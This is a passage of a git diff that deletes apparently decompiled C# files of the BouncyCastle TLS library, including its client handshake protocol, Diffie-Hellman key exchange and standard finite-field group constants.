void ProcessServerSupplementalData(IList serverSupplementalData); - - TlsKeyExchange GetKeyExchange(); - - TlsAuthentication GetAuthentication(); - - IList GetClientSupplementalData(); - - void NotifyNewSessionTicket(NewSessionTicket newSessionTicket); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsClientContext.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsClientContext.cs deleted file mode 100644 index c92a3cb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsClientContext.cs +++ /dev/null @@ -1,5 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsClientContext : TlsContext -{ -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsClientContextImpl.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsClientContextImpl.cs deleted file mode 100644 index 9de0d38..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsClientContextImpl.cs +++ /dev/null @@ -1,13 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class TlsClientContextImpl : AbstractTlsContext, TlsClientContext, TlsContext -{ - public override bool IsServer => false; - - internal TlsClientContextImpl(SecureRandom secureRandom, SecurityParameters securityParameters) - : base(secureRandom, securityParameters) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsClientProtocol.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsClientProtocol.cs deleted file mode 100644 index fc25afd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsClientProtocol.cs +++ /dev/null @@ -1,540 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsClientProtocol : TlsProtocol -{ - protected TlsClient mTlsClient = null; - - internal TlsClientContextImpl mTlsClientContext = null; - - protected byte[] mSelectedSessionID = null; - - protected TlsKeyExchange mKeyExchange = null; - - protected TlsAuthentication mAuthentication = null; - - protected CertificateStatus mCertificateStatus = null; - - protected CertificateRequest mCertificateRequest = null; - - protected override TlsContext Context => mTlsClientContext; - - internal override AbstractTlsContext ContextAdmin => mTlsClientContext; - - protected override TlsPeer Peer => mTlsClient; - - public TlsClientProtocol(Stream stream, SecureRandom secureRandom) - : base(stream, secureRandom) - { - } - - public TlsClientProtocol(Stream input, Stream output, SecureRandom secureRandom) - : base(input, output, secureRandom) - { - } - - public TlsClientProtocol(SecureRandom secureRandom) - : base(secureRandom) - { - } - - public virtual void Connect(TlsClient tlsClient) - { - if (tlsClient == null) - { - throw new ArgumentNullException("tlsClient"); - } - if (mTlsClient != null) - { - throw new InvalidOperationException("'Connect' can only be called once"); - } - mTlsClient = tlsClient; - mSecurityParameters = new SecurityParameters(); - mSecurityParameters.entity = 1; - mTlsClientContext = new TlsClientContextImpl(mSecureRandom, mSecurityParameters); - mSecurityParameters.clientRandom = TlsProtocol.CreateRandomBlock(tlsClient.ShouldUseGmtUnixTime(), mTlsClientContext.NonceRandomGenerator); - mTlsClient.Init(mTlsClientContext); - mRecordStream.Init(mTlsClientContext); - TlsSession sessionToResume = tlsClient.GetSessionToResume(); - if (sessionToResume != null && sessionToResume.IsResumable) - { - SessionParameters sessionParameters = sessionToResume.ExportSessionParameters(); - if (sessionParameters != null && sessionParameters.IsExtendedMasterSecret) - { - mTlsSession = sessionToResume; - mSessionParameters = sessionParameters; - } - } - SendClientHelloMessage(); - mConnectionState = 1; - BlockForHandshake(); - } - - protected override void CleanupHandshake() - { - base.CleanupHandshake(); - mSelectedSessionID = null; - mKeyExchange = null; - mAuthentication = null; - mCertificateStatus = null; - mCertificateRequest = null; - } - - protected override void HandleHandshakeMessage(byte type, MemoryStream buf) - { - if (mResumedSession) - { - if (type != 20 || mConnectionState != 2) - { - throw new TlsFatalAlert(10); - } - ProcessFinishedMessage(buf); - mConnectionState = 15; - SendChangeCipherSpecMessage(); - SendFinishedMessage(); - mConnectionState = 13; - CompleteHandshake(); - return; - } - switch (type) - { - case 11: - switch (mConnectionState) - { - case 2: - case 3: - if (mConnectionState == 2) - { - HandleSupplementalData(null); - } - mPeerCertificate = Certificate.Parse(buf); - TlsProtocol.AssertEmpty(buf); - if (mPeerCertificate == null || mPeerCertificate.IsEmpty) - { - mAllowCertificateStatus = false; - } - mKeyExchange.ProcessServerCertificate(mPeerCertificate); - mAuthentication = mTlsClient.GetAuthentication(); - mAuthentication.NotifyServerCertificate(mPeerCertificate); - mConnectionState = 4; - break; - default: - throw new TlsFatalAlert(10); - } - break; - case 22: - { - short num = mConnectionState; - if (num == 4) - { - if (!mAllowCertificateStatus) - { - throw new TlsFatalAlert(10); - } - mCertificateStatus = CertificateStatus.Parse(buf); - TlsProtocol.AssertEmpty(buf); - mConnectionState = 5; - break; - } - throw new TlsFatalAlert(10); - } - case 20: - switch (mConnectionState) - { - case 13: - case 14: - if (mConnectionState == 13 && mExpectSessionTicket) - { - throw new TlsFatalAlert(10); - } - ProcessFinishedMessage(buf); - mConnectionState = 15; - CompleteHandshake(); - break; - default: - throw new TlsFatalAlert(10); - } - break; - case 2: - { - short num = mConnectionState; - if (num == 1) - { - ReceiveServerHelloMessage(buf); - mConnectionState = 2; - mRecordStream.NotifyHelloComplete(); - ApplyMaxFragmentLengthExtension(); - if (mResumedSession) - { - mSecurityParameters.masterSecret = Arrays.Clone(mSessionParameters.MasterSecret); - mRecordStream.SetPendingConnectionState(Peer.GetCompression(), Peer.GetCipher()); - break; - } - InvalidateSession(); - if (mSelectedSessionID.Length > 0) - { - mTlsSession = new TlsSessionImpl(mSelectedSessionID, null); - } - break; - } - throw new TlsFatalAlert(10); - } - case 23: - { - short num = mConnectionState; - if (num == 2) - { - HandleSupplementalData(TlsProtocol.ReadSupplementalDataMessage(buf)); - break; - } - throw new TlsFatalAlert(10); - } - case 14: - switch (mConnectionState) - { - case 2: - case 3: - case 4: - case 5: - case 6: - case 7: - { - if (mConnectionState < 3) - { - HandleSupplementalData(null); - } - if (mConnectionState < 4) - { - mKeyExchange.SkipServerCredentials(); - mAuthentication = null; - } - if (mConnectionState < 6) - { - mKeyExchange.SkipServerKeyExchange(); - } - TlsProtocol.AssertEmpty(buf); - mConnectionState = 8; - mRecordStream.HandshakeHash.SealHashAlgorithms(); - IList clientSupplementalData = mTlsClient.GetClientSupplementalData(); - if (clientSupplementalData != null) - { - SendSupplementalDataMessage(clientSupplementalData); - } - mConnectionState = 9; - TlsCredentials tlsCredentials = null; - if (mCertificateRequest == null) - { - mKeyExchange.SkipClientCredentials(); - } - else - { - tlsCredentials = mAuthentication.GetClientCredentials(mCertificateRequest); - if (tlsCredentials == null) - { - mKeyExchange.SkipClientCredentials(); - SendCertificateMessage(Certificate.EmptyChain); - } - else - { - mKeyExchange.ProcessClientCredentials(tlsCredentials); - SendCertificateMessage(tlsCredentials.Certificate); - } - } - mConnectionState = 10; - SendClientKeyExchangeMessage(); - mConnectionState = 11; - if (TlsUtilities.IsSsl(Context)) - { - TlsProtocol.EstablishMasterSecret(Context, mKeyExchange); - } - TlsHandshakeHash tlsHandshakeHash = mRecordStream.PrepareToFinish(); - mSecurityParameters.sessionHash = TlsProtocol.GetCurrentPrfHash(Context, tlsHandshakeHash, null); - if (!TlsUtilities.IsSsl(Context)) - { - TlsProtocol.EstablishMasterSecret(Context, mKeyExchange); - } - mRecordStream.SetPendingConnectionState(Peer.GetCompression(), Peer.GetCipher()); - if (tlsCredentials != null && tlsCredentials is TlsSignerCredentials) - { - TlsSignerCredentials tlsSignerCredentials = (TlsSignerCredentials)tlsCredentials; - SignatureAndHashAlgorithm signatureAndHashAlgorithm = TlsUtilities.GetSignatureAndHashAlgorithm(Context, tlsSignerCredentials); - byte[] hash = ((signatureAndHashAlgorithm != null) ? tlsHandshakeHash.GetFinalHash(signatureAndHashAlgorithm.Hash) : mSecurityParameters.SessionHash); - byte[] signature = tlsSignerCredentials.GenerateCertificateSignature(hash); - DigitallySigned certificateVerify = new DigitallySigned(signatureAndHashAlgorithm, signature); - SendCertificateVerifyMessage(certificateVerify); - mConnectionState = 12; - } - SendChangeCipherSpecMessage(); - SendFinishedMessage(); - mConnectionState = 13; - break; - } - default: - throw new TlsFatalAlert(10); - } - break; - case 12: - switch (mConnectionState) - { - case 2: - case 3: - case 4: - case 5: - if (mConnectionState < 3) - { - HandleSupplementalData(null); - } - if (mConnectionState < 4) - { - mKeyExchange.SkipServerCredentials(); - mAuthentication = null; - } - mKeyExchange.ProcessServerKeyExchange(buf); - TlsProtocol.AssertEmpty(buf); - mConnectionState = 6; - break; - default: - throw new TlsFatalAlert(10); - } - break; - case 13: - switch (mConnectionState) - { - case 4: - case 5: - case 6: - if (mConnectionState != 6) - { - mKeyExchange.SkipServerKeyExchange(); - } - if (mAuthentication == null) - { - throw new TlsFatalAlert(40); - } - mCertificateRequest = CertificateRequest.Parse(Context, buf); - TlsProtocol.AssertEmpty(buf); - mKeyExchange.ValidateCertificateRequest(mCertificateRequest); - TlsUtilities.TrackHashAlgorithms(mRecordStream.HandshakeHash, mCertificateRequest.SupportedSignatureAlgorithms); - mConnectionState = 7; - break; - default: - throw new TlsFatalAlert(10); - } - break; - case 4: - { - short num = mConnectionState; - if (num == 13) - { - if (!mExpectSessionTicket) - { - throw new TlsFatalAlert(10); - } - InvalidateSession(); - ReceiveNewSessionTicketMessage(buf); - mConnectionState = 14; - break; - } - throw new TlsFatalAlert(10); - } - case 0: - TlsProtocol.AssertEmpty(buf); - if (mConnectionState == 16) - { - RefuseRenegotiation(); - } - break; - default: - throw new TlsFatalAlert(10); - } - } - - protected virtual void HandleSupplementalData(IList serverSupplementalData) - { - mTlsClient.ProcessServerSupplementalData(serverSupplementalData); - mConnectionState = 3; - mKeyExchange = mTlsClient.GetKeyExchange(); - mKeyExchange.Init(Context); - } - - protected virtual void ReceiveNewSessionTicketMessage(MemoryStream buf) - { - NewSessionTicket newSessionTicket = NewSessionTicket.Parse(buf); - TlsProtocol.AssertEmpty(buf); - mTlsClient.NotifyNewSessionTicket(newSessionTicket); - } - - protected virtual void ReceiveServerHelloMessage(MemoryStream buf) - { - ProtocolVersion protocolVersion = TlsUtilities.ReadVersion(buf); - if (protocolVersion.IsDtls) - { - throw new TlsFatalAlert(47); - } - if (!protocolVersion.Equals(mRecordStream.ReadVersion)) - { - throw new TlsFatalAlert(47); - } - ProtocolVersion clientVersion = Context.ClientVersion; - if (!protocolVersion.IsEqualOrEarlierVersionOf(clientVersion)) - { - throw new TlsFatalAlert(47); - } - mRecordStream.SetWriteVersion(protocolVersion); - ContextAdmin.SetServerVersion(protocolVersion); - mTlsClient.NotifyServerVersion(protocolVersion); - mSecurityParameters.serverRandom = TlsUtilities.ReadFully(32, buf); - mSelectedSessionID = TlsUtilities.ReadOpaque8(buf); - if (mSelectedSessionID.Length > 32) - { - throw new TlsFatalAlert(47); - } - mTlsClient.NotifySessionID(mSelectedSessionID); - mResumedSession = mSelectedSessionID.Length > 0 && mTlsSession != null && Arrays.AreEqual(mSelectedSessionID, mTlsSession.SessionID); - int num = TlsUtilities.ReadUint16(buf); - if (!Arrays.Contains(mOfferedCipherSuites, num) || num == 0 || CipherSuite.IsScsv(num) || !TlsUtilities.IsValidCipherSuiteForVersion(num, Context.ServerVersion)) - { - throw new TlsFatalAlert(47); - } - mTlsClient.NotifySelectedCipherSuite(num); - byte b = TlsUtilities.ReadUint8(buf); - if (!Arrays.Contains(mOfferedCompressionMethods, b)) - { - throw new TlsFatalAlert(47); - } - mTlsClient.NotifySelectedCompressionMethod(b); - mServerExtensions = TlsProtocol.ReadExtensions(buf); - mSecurityParameters.extendedMasterSecret = !TlsUtilities.IsSsl(mTlsClientContext) && TlsExtensionsUtilities.HasExtendedMasterSecretExtension(mServerExtensions); - if (!mSecurityParameters.IsExtendedMasterSecret && (mResumedSession || mTlsClient.RequiresExtendedMasterSecret())) - { - throw new TlsFatalAlert(40); - } - if (mServerExtensions != null) - { - foreach (object key in mServerExtensions.Keys) - { - int num2 = (int)key; - if (num2 != 65281) - { - if (TlsUtilities.GetExtensionData(mClientExtensions, num2) == null) - { - throw new TlsFatalAlert(110); - } - _ = mResumedSession; - } - } - } - byte[] extensionData = TlsUtilities.GetExtensionData(mServerExtensions, 65281); - if (extensionData != null) - { - mSecureRenegotiation = true; - if (!Arrays.ConstantTimeAreEqual(extensionData, TlsProtocol.CreateRenegotiationInfo(TlsUtilities.EmptyBytes))) - { - throw new TlsFatalAlert(40); - } - } - mTlsClient.NotifySecureRenegotiation(mSecureRenegotiation); - IDictionary dictionary = mClientExtensions; - IDictionary dictionary2 = mServerExtensions; - if (mResumedSession) - { - if (num != mSessionParameters.CipherSuite || b != mSessionParameters.CompressionAlgorithm) - { - throw new TlsFatalAlert(47); - } - dictionary = null; - dictionary2 = mSessionParameters.ReadServerExtensions(); - } - mSecurityParameters.cipherSuite = num; - mSecurityParameters.compressionAlgorithm = b; - if (dictionary2 != null && dictionary2.Count > 0) - { - bool flag = TlsExtensionsUtilities.HasEncryptThenMacExtension(dictionary2); - if (flag && !TlsUtilities.IsBlockCipherSuite(num)) - { - throw new TlsFatalAlert(47); - } - mSecurityParameters.encryptThenMac = flag; - mSecurityParameters.maxFragmentLength = ProcessMaxFragmentLengthExtension(dictionary, dictionary2, 47); - mSecurityParameters.truncatedHMac = TlsExtensionsUtilities.HasTruncatedHMacExtension(dictionary2); - mAllowCertificateStatus = !mResumedSession && TlsUtilities.HasExpectedEmptyExtensionData(dictionary2, 5, 47); - mExpectSessionTicket = !mResumedSession && TlsUtilities.HasExpectedEmptyExtensionData(dictionary2, 35, 47); - } - if (dictionary != null) - { - mTlsClient.ProcessServerExtensions(dictionary2); - } - mSecurityParameters.prfAlgorithm = TlsProtocol.GetPrfAlgorithm(Context, mSecurityParameters.CipherSuite); - mSecurityParameters.verifyDataLength = 12; - } - - protected virtual void SendCertificateVerifyMessage(DigitallySigned certificateVerify) - { - HandshakeMessage handshakeMessage = new HandshakeMessage(15); - certificateVerify.Encode(handshakeMessage); - handshakeMessage.WriteToRecordStream(this); - } - - protected virtual void SendClientHelloMessage() - { - mRecordStream.SetWriteVersion(mTlsClient.ClientHelloRecordLayerVersion); - ProtocolVersion clientVersion = mTlsClient.ClientVersion; - if (clientVersion.IsDtls) - { - throw new TlsFatalAlert(80); - } - ContextAdmin.SetClientVersion(clientVersion); - byte[] array = TlsUtilities.EmptyBytes; - if (mTlsSession != null) - { - array = mTlsSession.SessionID; - if (array == null || array.Length > 32) - { - array = TlsUtilities.EmptyBytes; - } - } - bool isFallback = mTlsClient.IsFallback; - mOfferedCipherSuites = mTlsClient.GetCipherSuites(); - mOfferedCompressionMethods = mTlsClient.GetCompressionMethods(); - if (array.Length > 0 && mSessionParameters != null && (!mSessionParameters.IsExtendedMasterSecret || !Arrays.Contains(mOfferedCipherSuites, mSessionParameters.CipherSuite) || !Arrays.Contains(mOfferedCompressionMethods, mSessionParameters.CompressionAlgorithm))) - { - array = TlsUtilities.EmptyBytes; - } - mClientExtensions = TlsExtensionsUtilities.EnsureExtensionsInitialised(mTlsClient.GetClientExtensions()); - if (!clientVersion.IsSsl) - { - TlsExtensionsUtilities.AddExtendedMasterSecretExtension(mClientExtensions); - } - HandshakeMessage handshakeMessage = new HandshakeMessage(1); - TlsUtilities.WriteVersion(clientVersion, handshakeMessage); - handshakeMessage.Write(mSecurityParameters.ClientRandom); - TlsUtilities.WriteOpaque8(array, handshakeMessage); - byte[] extensionData = TlsUtilities.GetExtensionData(mClientExtensions, 65281); - bool flag = null == extensionData; - bool flag2 = !Arrays.Contains(mOfferedCipherSuites, 255); - if (flag && flag2) - { - mOfferedCipherSuites = Arrays.Append(mOfferedCipherSuites, 255); - } - if (isFallback && !Arrays.Contains(mOfferedCipherSuites, 22016)) - { - mOfferedCipherSuites = Arrays.Append(mOfferedCipherSuites, 22016); - } - TlsUtilities.WriteUint16ArrayWithUint16Length(mOfferedCipherSuites, handshakeMessage); - TlsUtilities.WriteUint8ArrayWithUint8Length(mOfferedCompressionMethods, handshakeMessage); - TlsProtocol.WriteExtensions(handshakeMessage, mClientExtensions); - handshakeMessage.WriteToRecordStream(this); - } - - protected virtual void SendClientKeyExchangeMessage() - { - HandshakeMessage handshakeMessage = new HandshakeMessage(16); - mKeyExchange.GenerateClientKeyExchange(handshakeMessage); - handshakeMessage.WriteToRecordStream(this); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsCompression.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsCompression.cs deleted file mode 100644 index f115e67..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsCompression.cs +++ /dev/null @@ -1,10 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsCompression -{ - Stream Compress(Stream output); - - Stream Decompress(Stream output); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsContext.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsContext.cs deleted file mode 100644 index fd43da7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsContext.cs +++ /dev/null @@ -1,25 +0,0 @@ -using Org.BouncyCastle.Crypto.Prng; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsContext -{ - IRandomGenerator NonceRandomGenerator { get; } - - SecureRandom SecureRandom { get; } - - SecurityParameters SecurityParameters { get; } - - bool IsServer { get; } - - ProtocolVersion ClientVersion { get; } - - ProtocolVersion ServerVersion { get; } - - TlsSession ResumableSession { get; } - - object UserObject { get; set; } - - byte[] ExportKeyingMaterial(string asciiLabel, byte[] context_value, int length); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsCredentials.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsCredentials.cs deleted file mode 100644 index 84fe8b1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsCredentials.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsCredentials -{ - Certificate Certificate { get; } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDHKeyExchange.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDHKeyExchange.cs deleted file mode 100644 index 06faa00..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDHKeyExchange.cs +++ /dev/null @@ -1,227 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsDHKeyExchange : AbstractTlsKeyExchange -{ - protected TlsSigner mTlsSigner; - - protected TlsDHVerifier mDHVerifier; - - protected DHParameters mDHParameters; - - protected AsymmetricKeyParameter mServerPublicKey; - - protected TlsAgreementCredentials mAgreementCredentials; - - protected DHPrivateKeyParameters mDHAgreePrivateKey; - - protected DHPublicKeyParameters mDHAgreePublicKey; - - public override bool RequiresServerKeyExchange - { - get - { - switch (mKeyExchange) - { - case 3: - case 5: - case 11: - return true; - default: - return false; - } - } - } - - [Obsolete("Use constructor that takes a TlsDHVerifier")] - public TlsDHKeyExchange(int keyExchange, IList supportedSignatureAlgorithms, DHParameters dhParameters) - : this(keyExchange, supportedSignatureAlgorithms, new DefaultTlsDHVerifier(), dhParameters) - { - } - - public TlsDHKeyExchange(int keyExchange, IList supportedSignatureAlgorithms, TlsDHVerifier dhVerifier, DHParameters dhParameters) - : base(keyExchange, supportedSignatureAlgorithms) - { - switch (keyExchange) - { - case 7: - case 9: - case 11: - mTlsSigner = null; - break; - case 5: - mTlsSigner = new TlsRsaSigner(); - break; - case 3: - mTlsSigner = new TlsDssSigner(); - break; - default: - throw new InvalidOperationException("unsupported key exchange algorithm"); - } - mDHVerifier = dhVerifier; - mDHParameters = dhParameters; - } - - public override void Init(TlsContext context) - { - base.Init(context); - if (mTlsSigner != null) - { - mTlsSigner.Init(context); - } - } - - public override void SkipServerCredentials() - { - if (mKeyExchange != 11) - { - throw new TlsFatalAlert(10); - } - } - - public override void ProcessServerCertificate(Certificate serverCertificate) - { - if (mKeyExchange == 11) - { - throw new TlsFatalAlert(10); - } - if (serverCertificate.IsEmpty) - { - throw new TlsFatalAlert(42); - } - X509CertificateStructure certificateAt = serverCertificate.GetCertificateAt(0); - SubjectPublicKeyInfo subjectPublicKeyInfo = certificateAt.SubjectPublicKeyInfo; - try - { - mServerPublicKey = PublicKeyFactory.CreateKey(subjectPublicKeyInfo); - } - catch (Exception alertCause) - { - throw new TlsFatalAlert(43, alertCause); - } - if (mTlsSigner == null) - { - try - { - mDHAgreePublicKey = (DHPublicKeyParameters)mServerPublicKey; - mDHParameters = mDHAgreePublicKey.Parameters; - } - catch (InvalidCastException alertCause2) - { - throw new TlsFatalAlert(46, alertCause2); - } - TlsUtilities.ValidateKeyUsage(certificateAt, 8); - } - else - { - if (!mTlsSigner.IsValidPublicKey(mServerPublicKey)) - { - throw new TlsFatalAlert(46); - } - TlsUtilities.ValidateKeyUsage(certificateAt, 128); - } - base.ProcessServerCertificate(serverCertificate); - } - - public override byte[] GenerateServerKeyExchange() - { - if (!RequiresServerKeyExchange) - { - return null; - } - MemoryStream memoryStream = new MemoryStream(); - mDHAgreePrivateKey = TlsDHUtilities.GenerateEphemeralServerKeyExchange(mContext.SecureRandom, mDHParameters, memoryStream); - return memoryStream.ToArray(); - } - - public override void ProcessServerKeyExchange(Stream input) - { - if (!RequiresServerKeyExchange) - { - throw new TlsFatalAlert(10); - } - mDHParameters = TlsDHUtilities.ReceiveDHParameters(mDHVerifier, input); - mDHAgreePublicKey = new DHPublicKeyParameters(TlsDHUtilities.ReadDHParameter(input), mDHParameters); - } - - public override void ValidateCertificateRequest(CertificateRequest certificateRequest) - { - if (mKeyExchange == 11) - { - throw new TlsFatalAlert(40); - } - byte[] certificateTypes = certificateRequest.CertificateTypes; - for (int i = 0; i < certificateTypes.Length; i++) - { - switch (certificateTypes[i]) - { - case 1: - case 2: - case 3: - case 4: - case 64: - continue; - } - throw new TlsFatalAlert(47); - } - } - - public override void ProcessClientCredentials(TlsCredentials clientCredentials) - { - if (mKeyExchange == 11) - { - throw new TlsFatalAlert(80); - } - if (clientCredentials is TlsAgreementCredentials) - { - mAgreementCredentials = (TlsAgreementCredentials)clientCredentials; - } - else if (!(clientCredentials is TlsSignerCredentials)) - { - throw new TlsFatalAlert(80); - } - } - - public override void GenerateClientKeyExchange(Stream output) - { - if (mAgreementCredentials == null) - { - mDHAgreePrivateKey = TlsDHUtilities.GenerateEphemeralClientKeyExchange(mContext.SecureRandom, mDHParameters, output); - } - } - - public override void ProcessClientCertificate(Certificate clientCertificate) - { - if (mKeyExchange == 11) - { - throw new TlsFatalAlert(10); - } - } - - public override void ProcessClientKeyExchange(Stream input) - { - if (mDHAgreePublicKey == null) - { - mDHAgreePublicKey = new DHPublicKeyParameters(TlsDHUtilities.ReadDHParameter(input), mDHParameters); - } - } - - public override byte[] GeneratePremasterSecret() - { - if (mAgreementCredentials != null) - { - return mAgreementCredentials.GenerateAgreement(mDHAgreePublicKey); - } - if (mDHAgreePrivateKey != null) - { - return TlsDHUtilities.CalculateDHBasicAgreement(mDHAgreePublicKey, mDHAgreePrivateKey); - } - throw new TlsFatalAlert(80); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDHUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDHUtilities.cs deleted file mode 100644 index 6f48af5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDHUtilities.cs +++ /dev/null @@ -1,296 +0,0 @@ -using System.Collections; -using System.IO; -using Org.BouncyCastle.Crypto.Agreement; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class TlsDHUtilities -{ - internal static readonly BigInteger Two = BigInteger.Two; - - private static readonly string draft_ffdhe2432_p = "FFFFFFFFFFFFFFFFADF85458A2BB4A9AAFDC5620273D3CF1D8B9C583CE2D3695A9E13641146433FBCC939DCE249B3EF97D2FE363630C75D8F681B202AEC4617AD3DF1ED5D5FD65612433F51F5F066ED0856365553DED1AF3B557135E7F57C935984F0C70E0E68B77E2A689DAF3EFE8721DF158A136ADE73530ACCA4F483A797ABC0AB182B324FB61D108A94BB2C8E3FBB96ADAB760D7F4681D4F42A3DE394DF4AE56EDE76372BB190B07A7C8EE0A6D709E02FCE1CDF7E2ECC03404CD28342F619172FE9CE98583FF8E4F1232EEF28183C3FE3B1B4C6FAD733BB5FCBC2EC22005C58EF1837D1683B2C6F34A26C1B2EFFA886B4238611FCFDCDE355B3B6519035BBC34F4DEF99C023861B46FC9D6E6C9077AD91D2691F7F7EE598CB0FAC186D91CAEFE13098533C8B3FFFFFFFFFFFFFFFF"; - - internal static readonly DHParameters draft_ffdhe2432 = FromSafeP(draft_ffdhe2432_p); - - private static readonly string draft_ffdhe3072_p = "FFFFFFFFFFFFFFFFADF85458A2BB4A9AAFDC5620273D3CF1D8B9C583CE2D3695A9E13641146433FBCC939DCE249B3EF97D2FE363630C75D8F681B202AEC4617AD3DF1ED5D5FD65612433F51F5F066ED0856365553DED1AF3B557135E7F57C935984F0C70E0E68B77E2A689DAF3EFE8721DF158A136ADE73530ACCA4F483A797ABC0AB182B324FB61D108A94BB2C8E3FBB96ADAB760D7F4681D4F42A3DE394DF4AE56EDE76372BB190B07A7C8EE0A6D709E02FCE1CDF7E2ECC03404CD28342F619172FE9CE98583FF8E4F1232EEF28183C3FE3B1B4C6FAD733BB5FCBC2EC22005C58EF1837D1683B2C6F34A26C1B2EFFA886B4238611FCFDCDE355B3B6519035BBC34F4DEF99C023861B46FC9D6E6C9077AD91D2691F7F7EE598CB0FAC186D91CAEFE130985139270B4130C93BC437944F4FD4452E2D74DD364F2E21E71F54BFF5CAE82AB9C9DF69EE86D2BC522363A0DABC521979B0DEADA1DBF9A42D5C4484E0ABCD06BFA53DDEF3C1B20EE3FD59D7C25E41D2B66C62E37FFFFFFFFFFFFFFFF"; - - internal static readonly DHParameters draft_ffdhe3072 = FromSafeP(draft_ffdhe3072_p); - - private static readonly string draft_ffdhe4096_p = "FFFFFFFFFFFFFFFFADF85458A2BB4A9AAFDC5620273D3CF1D8B9C583CE2D3695A9E13641146433FBCC939DCE249B3EF97D2FE363630C75D8F681B202AEC4617AD3DF1ED5D5FD65612433F51F5F066ED0856365553DED1AF3B557135E7F57C935984F0C70E0E68B77E2A689DAF3EFE8721DF158A136ADE73530ACCA4F483A797ABC0AB182B324FB61D108A94BB2C8E3FBB96ADAB760D7F4681D4F42A3DE394DF4AE56EDE76372BB190B07A7C8EE0A6D709E02FCE1CDF7E2ECC03404CD28342F619172FE9CE98583FF8E4F1232EEF28183C3FE3B1B4C6FAD733BB5FCBC2EC22005C58EF1837D1683B2C6F34A26C1B2EFFA886B4238611FCFDCDE355B3B6519035BBC34F4DEF99C023861B46FC9D6E6C9077AD91D2691F7F7EE598CB0FAC186D91CAEFE130985139270B4130C93BC437944F4FD4452E2D74DD364F2E21E71F54BFF5CAE82AB9C9DF69EE86D2BC522363A0DABC521979B0DEADA1DBF9A42D5C4484E0ABCD06BFA53DDEF3C1B20EE3FD59D7C25E41D2B669E1EF16E6F52C3164DF4FB7930E9E4E58857B6AC7D5F42D69F6D187763CF1D5503400487F55BA57E31CC7A7135C886EFB4318AED6A1E012D9E6832A907600A918130C46DC778F971AD0038092999A333CB8B7A1A1DB93D7140003C2A4ECEA9F98D0ACC0A8291CDCEC97DCF8EC9B55A7F88A46B4DB5A851F44182E1C68A007E5E655F6AFFFFFFFFFFFFFFFF"; - - internal static readonly DHParameters draft_ffdhe4096 = FromSafeP(draft_ffdhe4096_p); - - private static readonly string draft_ffdhe6144_p = 